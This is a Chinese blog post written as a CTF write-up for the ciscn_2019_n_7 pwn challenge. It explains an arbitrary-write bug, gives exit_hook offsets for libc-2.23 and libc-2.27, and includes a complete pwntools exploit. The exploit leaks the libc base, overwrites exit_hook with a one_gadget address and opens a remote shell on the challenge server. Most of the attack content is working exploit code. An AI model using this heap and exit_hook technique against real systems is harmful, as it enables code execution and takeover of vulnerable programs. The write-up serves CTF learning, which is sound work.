ciscn_2019_n_7(exit_hook)
又学到了一个新知识
题目的例行检查我就不放了
关键漏洞

可以看到我们申请的chunk在v1[2】处,这里存放着chunk的地址指针,但是read确实从v1+1开始输入值,说明我们可以去覆盖这个地址
这道题我们利用exit_hook
首先先说一下exit_hook的地址(并不是调用exit_hook,而是在exit中使用到的地址)
在libc-2.23中
exit_hook = libc_base+0x5f0040+3848
exit_hook = libc_base+0x5f0040+3856
在libc-2.27中
exit_hook = libc_base+0x619060+3840
exit_hook = libc_base+0x619060+3848
这样一来,只要知道libc版本和任意地址的写,我们可以直接写这个指针,执行exit后就可以拿到shell了。(其实不用非要执行exit,就程序正常返回也可以执行到这里)
这道题目我不知道为什么有点坑,本地和远程泄露的地址去获得基地址的方式是不一样的
from pwn import *
#p = process('./ciscn_2019_n_7')
p = remote('node4.buuoj.cn',25004)
libc = ELF('./libc-2.23.so')
def lounch_gdb():
context.terminal = ['xfce4-terminal','-x','sh','-c']
gdb.attach(proc.pidof(p)[0])
def add(size,name):
p.sendlineafter('choice-> ','1')
p.sendlineafter('Length: ',str(size))
p.sendafter('name:\n',name)
def edit(name,contents):
p.sendlineafter('choice-> \n','2')
p.sendafter('name:\n',name)
p.sendafter('contents:\n',contents)
def leak():
p.sendlineafter('choice->','666')
leak()
lounch_gdb()
p.recvuntil('0x')
libc_info = int(p.recvuntil('\n'),16)
libc_base = libc_info - libc.symbols['puts']
#libc_base = libc_info - 0x6f6a0
print('libc_base-->'+hex(libc_base))
exit_hook = libc_base + 0x5f0040+3848
print('exit_hook-->'+hex(exit_hook))
one_gadget = libc_base + 0xf1147
print('one_gadget-->'+hex(one_gadget))
add(0x30,b'a'*8+p64(exit_hook))
edit('aaaaaaaa',p64(one_gadget))
sleep(0.5)
p.sendline('a')
p.interactive()
以后应该还会碰到这种题,虽然这道题不难,但是需要记录一下
感谢师傅的文章:
exit_hook在pwn题中的应用 - 不会修电脑 - 博客园 (cnblogs.com)
结束!


浙公网安备 33010602011771号